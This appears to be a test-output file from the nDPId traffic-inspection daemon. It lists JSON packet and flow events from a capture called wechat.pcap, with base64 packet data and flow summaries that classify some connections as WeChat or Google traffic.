+00425{"flow_id":81,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1524,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167905,"pkt_ts_usec":866569,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Y75AAEAGtX3AqAFny82Tq+K6AbsLFrfmXHacd4AQARU9pgAAAQEICgAy1dhFr1pf"} +00600{"flow_id":81,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1525,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167905,"pkt_ts_usec":869166,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyY79AAEAGtP7AqAFny82Tq+K6AbsLFrfmXHacd4AYARWmBwAAAQEICgAy1dlFr1pfFgMDAEYQAABCQQTFXprh3YJ93AWRwR3pfe8hZl\/9VhymPzf8yZmxmLFk8oQoEE4juHOvk\/KqBpoFfa55jrDEUOw4rYqBMszUv4UcFAMDAAEBFgMDACgAAAAAAAAAAHyPtAxCXHRR8n7rWdRimt5+aaWiHMjIYP\/FkrajzDKM"} +00497{"flow_id":81,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1526,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167906,"pkt_ts_usec":137422,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnyhhAAC8GX1DLzZOrwKgBZwG74rpcdpx3Cxa4ZIAYAHhR5QAAAQEICkWvWqMAMtXZFAMDAAEBFgMDACijiklPzEj8zwLVeuyKBmF4cNJuE3ZbayEdla3mYV\/Uv1ZfYkclU5ln"} +02019{"flow_id":81,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1527,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167906,"pkt_ts_usec":138666,"pkt_caplen":1234,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1234,"pkt_l4_len":1200,"pkt":"8IQvSpdgeJKcD6iOCABFAATEY8BAAEAGsOvAqAFny82Tq+K6AbsLFrhkXHacqoAYARUXKgAAAQEICgAy1hxFr1qjFwMDBIsAAAAAAAAAAQLHa5NT4\/JSsXQQBBLwDu24iD5x2bM7PURSGo4PDGwgpn8bhOW8PJc9ex2tCe+jaGPM8Ko2D+4lKO\/qughTYhoUEqMVYcbRdGqPSORSemZdJq2vExSwy2t313RfO39mZ\/sIKtZMHi\/pZO6D\/T2M4ac89C99xzeVkZpIa8ZBp6APNByAvhXHIwYhmDwVEn4f+bA+7IUSgUCF7OkmCPN6oJYkvu\/b9AfUh6qxL76nv3MWiEdiXVLKRA7LyrNmZL1emdAYDfAztnx5uzLlUMKW2xc1qkdLcN4jy0VzKJg0lBonRqg3dfakfR\/ANGjmxyVVBPrt0DSi+PoRxCOpDxXmYCehgpsjBJONYEZlsIFwlwW+Ln4J6SE8c6fwmOFKYdt4EKsv0gwrZEeDUWV+FwzFUFkUYnDpnWdlb9nLuoYBqQy7W8oPXiO5iOAwfwmHCLEPHT+xG5Incw6efYGE+kIPPrP6rnGd4G7yRbwg7HtYUVGpHb1A08SqLRkfTROm7wWHlle0J6\/eFDxiZv7JKZzVC+1Xwe\/1ffEFuIi0+teNzXbX53LODhPwudU7rXa8jCA7qUbJ9cAIexqQskVAZ9+dCIg33YGkyS9tlSbRGKdTaLkLYUvfCJ6sinYMNFIhR4R+Bn9xpOF2ln97upLpSkfNnZpULhzNzLLP9XAGOUKr7Qi6Mh5Ox38aDP4BiitvXdBJwAu\/ppDglHEiQyAdcl\/+gYMDNnOmcSZfT5TFu0TgeOM5nmdYedJ8KOcLRGw0CdRUX60y7AoiQ6TIAfE27TIeXAWldp+KGorvFk4NsZj5Pn\/WOQO\/bSL3vL3DTY4iNKxoNhkwvOF9qsdwfopqIy74mKEFBM5BZLKM+W38U+DC8VyWa1e34g+I\/yRJ6xGf6d0EAZQq+tgZQunEzMzQLCJR4uP\/bUWbGpWX8\/vnpG5Cx9z6m8uy9Gog2P5Lfui85UjvFu89EmzvC0qpfgev41OTOrl1cupPiLRId2PNBc\/Aqt+Zp+gxocIx3GW7cprLVkM8W55dN2HAjHZ8JY1egKrfW1rW8elbZ5tRCVAs5\/XaXw5GjFVnWyNYkZSOu\/xANZ\/IkhAzR061nof1KgtG4nn8PXmJ+Vgg9GwPVdQLdl5sQu2wIdCi5muCvG7Tf369JJvaDS3ZMujv+fs4RdJ2VDgQ4aeDJh4QyjuRy44iogNkfuv2\/bQ1fPT52el0gQ2+jmC+dIBYskzDHY5FPqghNM6iqizlooII1l7BqDyrQjw9XwFaBFjC7VIUGZPGbjf4r8j6x1IkSHHpUp0dIp+lxqtHf7tzMkfubBQimw8s5gmlOncs9utYUE6k\/SnVmsVG\/NMqI47jWtjv1MALkCXwP+HhippKij3pomB+yBwxcB5YKBj\/4O0IpAg8n6+1B6U4EUOifj\/ptWXoINNYKb0jEsu5YAEEmJWQtZcU7jsXIZKmoFykrasCOdAxLpFX\/DPLG2EbAsAagScNvzdWhtovTqVp5c1cK+TyOSe2u2PS\/iWEaX2Wh4IWHN1iui4vYb3+j9PTmJYk4A=="} +01062{"flow_id":81,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1528,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167906,"pkt_ts_usec":141910,"pkt_caplen":535,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":535,"pkt_l4_len":501,"pkt":"8IQvSpdgeJKcD6iOCABFAAIJY8FAAEAGs6XAqAFny82Tq+K6AbsLFrz0XHacqoAYARU0CgAAAQEICgAy1h1Fr1qjFwMDAdAAAAAAAAAAApoyUHYHSOToJZJ820ibLfz3fGN9syaByqFLJ6VgBb4skM1gm4nfa7CxPjYuvT8B\/bNWndQyUQ4LDwnevLa0I6azqHNdn0JaIix8LuEKkq36eWvslsdgAtSCeapECdwDZNvx91xrowQQhu26rMaDU4gv2oRBVNCLohGvNisHUIxp8csZLzZ7a2xjapCmKnxD+BH3XblXAXdEyTBbLoUU5CEvhabKVFwsET6UMZ9Mx2V3pNiXV+L1trkgU3vJrYUG4dehdEx2kL2ytD9kF6DoCpVQUAgOftsEmu9Hxp6U3a76eCmzXZZdcJ\/7wtvGcEJ9OaPPL4R6cn7YUnJ9btkJGZeogI93iUXBSyoBBOKR5uZrkT8smEI89HvcMzeTA84iHJbdWkYR5YqON1AQ9i8Q8aePl7or\/qVVZsS3qEYTEMrT6MXuJL+iF9B3UVIxHjMDzP8gHYiIn4EKgLs6y31Gc8I2YLP7JDCilo+ZkOVVx1v9ocaQ3aMYDWT++IZsGJ8doPVDv1SP5mY+\/cXnc3doOvJ8Lz6KQZ3Ig5TLcm+t+xTtB0r5JJN08fOrhLuS1upQ6emru3WAGNZ0y+isQPty0Lj1VAOhdIl\/7w=="} +00426{"flow_id":81,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1529,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167906,"pkt_ts_usec":419257,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0yhlAAC8GX4LLzZOrwKgBZwG74rpcdpyqCxa+yYAQAJ02OQAAAQEICkWvWuoAMtYc"} +00741{"flow_id":81,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1531,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167906,"pkt_ts_usec":487005,"pkt_caplen":297,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":297,"pkt_l4_len":263,"pkt":"eJKcD6iO8IQvSpdgCABFoAEbyhpAAC8GXprLzZOrwKgBZwG74rpcdpyqCxa+yYAYAJ30iQAAAQEICkWvWvsAMtYcFwMDAOKjiklPzEj80F\/vYdM4YXXqyaoEZLuAeaV17\/vv0Cnj1Mr5PtIb+doPYwxHcNrO53LWRaQJ68KYWHZ3Hy86DfolGcZOiHotADtaSay\/VOsQ152bkCsorbcnMVx7a1e1c0p0QPlY8mMY8elRX80wFIeDiWIhahrQVOhKuvVHMm89dI9ciOdGi9TAK1HXToBrS5jNNHRm+zw\/WgW8QLowQl5ZrhVgFpQ3kvS3vJJZHY8r4aiHZiBEmR6flZlWVepdPRI7uuz3zCoZ0BG84qds++Uxy2tUCGN4xfjr1QoKAbqlpjFm"} +00438{"flow_id":82,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1540,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167907,"pkt_ts_usec":207381,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC8GKZTLzZOrwKgBZwG74rtG\/8zAAfpXW6ASN8glwAAAAgQFoAQCCApFr1uvADLV1gEDAwc="} +00426{"flow_id":82,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1541,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167907,"pkt_ts_usec":207433,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0gthAAEAGlmPAqAFny82Tq+K7AbsB+ldbRv\/MwYAQAOWLXAAAAQEICgAy1ydFr1pd"} +00450{"flow_id":63,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1542,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167908,"pkt_ts_usec":138569,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABEYOMAAAERtR7AqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00450{"flow_id":63,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1543,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167908,"pkt_ts_usec":139768,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABEYOQAAAERtR3AqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00478{"flow_id":64,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1544,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167908,"pkt_ts_usec":141193,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00478{"flow_id":64,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1545,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167908,"pkt_ts_usec":142616,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00450{"flow_id":63,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1546,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167909,"pkt_ts_usec":162596,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABEYPUAAAERtQzAqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00478{"flow_id":64,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1547,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167909,"pkt_ts_usec":163978,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00450{"flow_id":63,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1548,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167911,"pkt_ts_usec":210632,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABEYSkAAAERtNjAqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00478{"flow_id":64,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1549,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167911,"pkt_ts_usec":211986,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":70,"flow_packet_id":2,"flow_first_seen":1492167795095,"flow_last_seen":1492167795102,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::91f9:3df3:7436:6cd6","dst_ip":"ff02::1:3","src_port":50577,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":40,"flow_first_seen":1492167338426,"flow_last_seen":1492167781907,"flow_tot_l4_data_len":1920,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::7a92:9cff:fe0f:a88e","dst_ip":"ff02::fb","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":2,"flow_first_seen":1492167795088,"flow_last_seen":1492167795100,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.252","src_port":49832,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":11,"flow_first_seen":1492167443647,"flow_last_seen":1492167822531,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":2,"flow_first_seen":1492167795087,"flow_last_seen":1492167795096,"flow_tot_l4_data_len":72,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.252","src_port":54124,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":9,"flow_first_seen":1492167795292,"flow_last_seen":1492167796728,"flow_tot_l4_data_len":522,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.255","src_port":137,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":69,"flow_packet_id":2,"flow_first_seen":1492167795092,"flow_last_seen":1492167795103,"flow_tot_l4_data_len":68,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::91f9:3df3:7436:6cd6","dst_ip":"ff02::1:3","src_port":49195,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00519{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":17,"flow_first_seen":1492167777204,"flow_last_seen":1492167918120,"flow_tot_l4_data_len":568,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58039,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":17,"flow_first_seen":1492167777204,"flow_last_seen":1492167918120,"flow_tot_l4_data_len":568,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58039,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":49,"flow_first_seen":1492167865975,"flow_last_seen":1492167896999,"flow_tot_l4_data_len":22802,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":465,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58040,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":18,"flow_first_seen":1492167866226,"flow_last_seen":1492167897002,"flow_tot_l4_data_len":4131,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":229,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58041,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":22,"flow_first_seen":1492167905310,"flow_last_seen":1492167916848,"flow_tot_l4_data_len":8772,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1720,"flow_avg_l4_data_len":398,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58042,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00518{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":5,"flow_first_seen":1492167905561,"flow_last_seen":1492167907207,"flow_tot_l4_data_len":184,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58043,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":5,"flow_first_seen":1492167905561,"flow_last_seen":1492167907207,"flow_tot_l4_data_len":184,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58043,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00518{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":20,"flow_first_seen":1492167352068,"flow_last_seen":1492167892851,"flow_tot_l4_data_len":640,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"64.233.167.188","src_port":36017,"dst_port":5228,"l4_proto":"tcp","ndpi": {"proto":"Google","breed":"Unrated","category":"Web"}} +00493{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":20,"flow_first_seen":1492167352068,"flow_last_seen":1492167892851,"flow_tot_l4_data_len":640,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"64.233.167.188","src_port":36017,"dst_port":5228,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":34,"flow_first_seen":1492167342893,"flow_last_seen":1492167478295,"flow_tot_l4_data_len":7525,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":221,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.22.14","src_port":38657,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":179,"flow_first_seen":1492167353674,"flow_last_seen":1492167907140,"flow_tot_l4_data_len":70870,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1220,"flow_avg_l4_data_len":395,"midstream":1,"l3_proto":"ip4","src_ip":"203.205.151.162","dst_ip":"192.168.1.103","src_port":443,"dst_port":54058,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00499{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":179,"flow_first_seen":1492167353674,"flow_last_seen":1492167907140,"flow_tot_l4_data_len":70870,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1220,"flow_avg_l4_data_len":395,"midstream":1,"l3_proto":"ip4","src_ip":"203.205.151.162","dst_ip":"192.168.1.103","src_port":443,"dst_port":54058,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":63,"flow_packet_id":14,"flow_first_seen":1492167788126,"flow_last_seen":1492167911210,"flow_tot_l4_data_len":672,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00489{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":40,"flow_first_seen":1492167338426,"flow_last_seen":1492167781907,"flow_tot_l4_data_len":1920,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":2,"flow_first_seen":1492167342857,"flow_last_seen":1492167342893,"flow_tot_l4_data_len":298,"flow_min_l4_data_len":60,"flow_max_l4_data_len":238,"flow_avg_l4_data_len":149,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":53734,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":2,"flow_first_seen":1492167351026,"flow_last_seen":1492167351061,"flow_tot_l4_data_len":234,"flow_min_l4_data_len":41,"flow_max_l4_data_len":193,"flow_avg_l4_data_len":117,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":55862,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":2,"flow_first_seen":1492167648243,"flow_last_seen":1492167648277,"flow_tot_l4_data_len":542,"flow_min_l4_data_len":39,"flow_max_l4_data_len":503,"flow_avg_l4_data_len":271,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":19041,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":13,"flow_first_seen":1492167350385,"flow_last_seen":1492167350562,"flow_tot_l4_data_len":6394,"flow_min_l4_data_len":38,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":491,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"172.217.23.67","src_port":51507,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1553,"source":"wechat.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":2,"flow_first_seen":1492167765155,"flow_last_seen":1492167765432,"flow_tot_l4_data_len":397,"flow_min_l4_data_len":40,"flow_max_l4_data_len":357,"flow_avg_l4_data_len":198,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":60356,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 